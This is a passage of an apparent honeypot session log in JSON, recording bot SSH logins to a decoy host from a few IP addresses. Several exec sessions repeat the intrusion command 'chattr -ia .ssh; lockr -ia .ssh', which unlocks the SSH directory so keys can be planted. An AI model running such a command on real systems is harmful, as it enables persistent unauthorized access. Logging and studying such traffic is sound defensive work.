  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40802,
  "username": "webuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 757,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:56:35.032491+00:00",
  "ended_at": "2026-08-26T14:56:36.307896+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2258
 },
 {
  "id": "093d8a79-093d-4123-a319-8830b9dc5b85",
  "name": "inland-glassy-grebe",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40804,
  "username": "webuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:56:13.163965+00:00",
  "ended_at": "2026-08-26T14:56:14.391029+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "059c6847-affe-4d5c-8460-436d3e8c7bac",
  "name": "leafy-steady-goldfinch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40803,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:56:10.589489+00:00",
  "ended_at": "2026-08-26T14:56:11.650725+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c6f68bac-2808-410e-8b8f-2d45cb853f27",
  "name": "opal-silent-fennec",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 63282,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 287,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:55:31.523076+00:00",
  "ended_at": "2026-08-26T14:55:33.134250+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "d5c9cf8e-cb22-49ae-bf3e-66c747293ab9",
  "name": "misty-silent-pochard",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 63292,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:55:06.557526+00:00",
  "ended_at": "2026-08-26T14:55:08.164120+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f447ec7f-1c84-4902-b0ee-e9511fbd6a7e",
  "name": "vernal-gallant-manatee",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 63286,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:55:04.989124+00:00",
  "ended_at": "2026-08-26T14:55:05.980304+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "63ca6fee-20a1-4f9d-b1fe-ebcfc2fbe782",
  "name": "granite-coral-vicuna",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "102.220.161.28",
  "src_port": 39312,
  "username": "user",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:54:44.374847+00:00",
  "ended_at": "2026-08-26T14:54:44.827277+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "88233d8a-1dbe-4754-bff9-ef02dd88a432",
  "name": "prairie-northern-seal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40799,
  "username": "alexandre",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 746,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:53:53.004073+00:00",
  "ended_at": "2026-08-26T14:53:54.524521+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2262
 },
 {
  "id": "68f114ed-7155-4e0c-b37b-46c2bf01d142",
  "name": "curious-umber-goshawk",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 53736,
  "username": "logviewer",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 291,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:53:35.724921+00:00",
  "ended_at": "2026-08-26T14:53:37.263891+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2256
 },
 {
  "id": "798dfe23-98b4-41c5-b6ac-1dc958da5bc0",
  "name": "autumn-blunt-tern",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40801,
  "username": "alexandre",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:53:29.769519+00:00",
  "ended_at": "2026-08-26T14:53:31.852703+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "459dfd39-d19f-4cf8-a297-983805b715bd",
  "name": "glassy-verdant-stork",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40800,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:53:26.354234+00:00",
  "ended_at": "2026-08-26T14:53:28.259195+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "59012252-9462-41e2-8fc1-e0ebe7a5f26a",
  "name": "proud-restless-alpaca",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 53758,
  "username": "logviewer",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:53:11.226958+00:00",
  "ended_at": "2026-08-26T14:53:12.760772+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "27a173f2-c932-4ade-a096-1edf5b852618",
  "name": "patient-meadow-tamarin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 53744,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:53:09.185510+00:00",
  "ended_at": "2026-08-26T14:53:10.646248+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a5ea950c-51c3-4e1a-91ab-c3d39f9eae95",
  "name": "earnest-cosmic-springbok",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 50314,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 272,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:51:34.958005+00:00",
  "ended_at": "2026-08-26T14:51:35.881700+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "a2cf6520-00fe-4886-b0c9-c348e7dd0ff1",
  "name": "oaken-serene-salmon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 50334,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:51:19.116654+00:00",
  "ended_at": "2026-08-26T14:51:20.962658+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "06035758-1866-4da6-b5da-5660b7a08885",
  "name": "early-crystal-fennec",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 50326,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:51:17.378826+00:00",
  "ended_at": "2026-08-26T14:51:18.554530+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c7314bfa-f3f5-4b8f-b033-8ec79289284e",
  "name": "austere-sincere-brambling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40734,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 761,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:51:09.138548+00:00",
  "ended_at": "2026-08-26T14:51:10.441004+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "42dbeb4f-c305-4fc9-adee-c67698401c0c",
  "name": "mottled-ivory-goldcrest",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40798,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:50:46.684762+00:00",
  "ended_at": "2026-08-26T14:50:48.301792+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "da699d48-d0b7-4778-aaeb-990f6b13e0e4",
  "name": "frugal-grassy-caribou",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40735,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:50:43.443536+00:00",
  "ended_at": "2026-08-26T14:50:45.161923+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e3a708ff-9c68-4bf3-bba3-238a10efea40",
  "name": "gloomy-frugal-bunting",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "161.115.239.222",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36 Edg/99.0.1150.30",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:49:48.373155+00:00",
  "ended_at": "2026-08-26T15:04:58.346534+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b7490650-98ab-4412-ba2f-85d20b650a71",
  "name": "amiable-nautical-kea",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 64768,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 291,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:49:39.026323+00:00",
  "ended_at": "2026-08-26T14:49:40.174581+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "f247124e-b047-406f-bb3d-f4a86f1b9715",
  "name": "frosty-clever-pochard",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "121.185.89.74",
  "src_port": 59458,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh2_1.11.2_DEV",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:49:26.210189+00:00",
  "ended_at": "2026-08-26T14:49:27.775872+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7d3efdf5-42aa-4b4e-928c-1aebea6949d8",
  "name": "autumn-gallant-pangolin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 52390,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:49:25.576420+00:00",
  "ended_at": "2026-08-26T14:49:26.510165+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7c3e6b4e-1850-43e1-8b86-0e55bc63657f",
  "name": "patient-verdant-barbet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 52384,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:49:24.079669+00:00",
  "ended_at": "2026-08-26T14:49:25.017035+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "99bc069e-5abf-4623-adf6-64a02a7065d0",
  "name": "dusky-daring-porcupine",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 35626,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:48:33.366476+00:00",
  "ended_at": "2026-08-26T14:48:33.684626+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b071e9c4-ac61-4511-9399-3afd4d66dcdb",
  "name": "proud-lively-dipper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40731,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 748,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:48:13.256128+00:00",
  "ended_at": "2026-08-26T14:48:14.554042+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "3f4843ca-6988-452a-9d91-6778f499676c",
  "name": "rustic-bold-raven",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40733,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:47:50.602572+00:00",
  "ended_at": "2026-08-26T14:47:52.450661+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "363db9d3-04ef-460d-8d6a-b598dfb87da4",
  "name": "prickly-bashful-hedgehog",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40732,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:47:47.419789+00:00",
  "ended_at": "2026-08-26T14:47:49.108549+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d33947eb-53b3-405c-91a6-f98649ff6c5c",
  "name": "scarlet-mellow-quokka",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 55332,
  "username": "promo",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 302,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:47:42.878274+00:00",
  "ended_at": "2026-08-26T14:47:44.735311+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2250
 },
 {
  "id": "bcd27e97-2ab7-4795-9c22-eb62f7f44c12",
  "name": "solemn-jaunty-parakeet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "175.206.113.91",
  "src_port": 58904,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh2_1.11.2_DEV",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:47:27.103800+00:00",
  "ended_at": "2026-08-26T14:47:28.427366+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e1039607-53cd-4916-ae6a-e550e313b5a4",
  "name": "frosty-somber-penguin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 55932,
  "username": "promo",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:47:26.351133+00:00",
  "ended_at": "2026-08-26T14:47:27.060332+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b1971bc8-9cd9-44d8-bb30-d2c912faf9bc",
  "name": "canny-dappled-eider",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 55918,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:47:24.413032+00:00",
  "ended_at": "2026-08-26T14:47:25.748551+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "79c82dc6-93a6-4f32-a42f-99c5dce541c0",
  "name": "jaunty-seaward-impala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 52042,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 295,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:45:40.096591+00:00",
  "ended_at": "2026-08-26T14:45:41.726099+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "77a80509-2327-42f1-9be4-aa1ceea799b8",
  "name": "deft-diligent-moose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 53544,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:45:25.119660+00:00",
  "ended_at": "2026-08-26T14:45:26.099795+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "70c552ec-e249-4a01-b28a-9effcb6a8a6f",
  "name": "lawful-lanky-koala",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 53532,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:45:23.537216+00:00",
  "ended_at": "2026-08-26T14:45:24.539169+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "15f36d52-8e35-4540-ae3a-b8462d29a97e",
  "name": "pleasant-blunt-kingfisher",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40728,
  "username": "seekcy",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 758,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:45:22.843666+00:00",
  "ended_at": "2026-08-26T14:45:24.423409+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2277
 },
 {
  "id": "ada8b79d-a1fa-47ad-a8eb-38d000cdfa06",
  "name": "watchful-western-caracal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40730,
  "username": "seekcy",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:45:00.989319+00:00",
  "ended_at": "2026-08-26T14:45:02.138252+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e4425f06-888b-42cb-b349-9243182ed95f",
  "name": "vivid-vernal-gibbon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40729,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:44:57.579493+00:00",
  "ended_at": "2026-08-26T14:44:59.484652+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a231669e-b83f-406b-b6bf-839fb485da80",
  "name": "wistful-sleepy-woodcock",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 50789,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:44:50.808097+00:00",
  "ended_at": "2026-08-26T14:44:51.885609+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "77d0c44b-73f3-447e-9c17-8a7c02c339ca",
  "name": "smoky-pristine-hummingbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "113.191.145.50",
  "src_port": 51545,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:43:55.850663+00:00",
  "ended_at": "2026-08-26T14:43:58.982587+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "51a1b668-fbdc-429a-b299-8f08552168f5",
  "name": "somber-hidden-osprey",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 62084,
  "username": "alexandre",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 284,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:43:39.415312+00:00",
  "ended_at": "2026-08-26T14:43:41.429556+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2262
 },
 {
  "id": "25a0a3cc-6b87-4329-8f79-00422e0c9e27",
  "name": "dusty-tidal-gazelle",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 58856,
  "username": "alexandre",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:43:23.962711+00:00",
  "ended_at": "2026-08-26T14:43:24.921138+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7c8e7484-75b4-4b82-8634-d2a80e45ceba",
  "name": "muted-arctic-hummingbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 62098,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:43:21.845465+00:00",
  "ended_at": "2026-08-26T14:43:23.378692+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7598bea9-4da1-47d8-b026-d1a203a68e23",
  "name": "sincere-tender-tanager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40725,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 747,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:42:31.000515+00:00",
  "ended_at": "2026-08-26T14:42:32.380142+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "802dd2d1-61a2-4b06-80f8-dbe692728819",
  "name": "sandy-obsidian-ferret",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40727,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:42:09.231614+00:00",
  "ended_at": "2026-08-26T14:42:10.635026+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a26688e9-19e6-49ab-a162-18b2e1ecbe58",
  "name": "cobalt-pewter-grouse",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40726,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:42:06.723898+00:00",
  "ended_at": "2026-08-26T14:42:07.732562+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8cec4606-d4d9-4140-bc74-2b5a8e888a1a",
  "name": "scarlet-solar-gerbil",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 51730,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 268,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:41:33.138217+00:00",
  "ended_at": "2026-08-26T14:41:34.797637+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "bcbf32ce-d96b-4123-85da-37baac209d51",
  "name": "woven-mindful-wheatear",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 51748,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:41:18.311589+00:00",
  "ended_at": "2026-08-26T14:41:19.728785+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3a7a3ed4-733f-4519-b6a1-d2e513313658",
  "name": "obsidian-faded-stoat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 51740,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:41:16.310154+00:00",
  "ended_at": "2026-08-26T14:41:17.784569+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fb4ca0ef-db05-46c4-b9fe-4cb668151541",
  "name": "supple-quiet-ibex",
  "protocol": "ssh",
  "channel_kind": "exec",
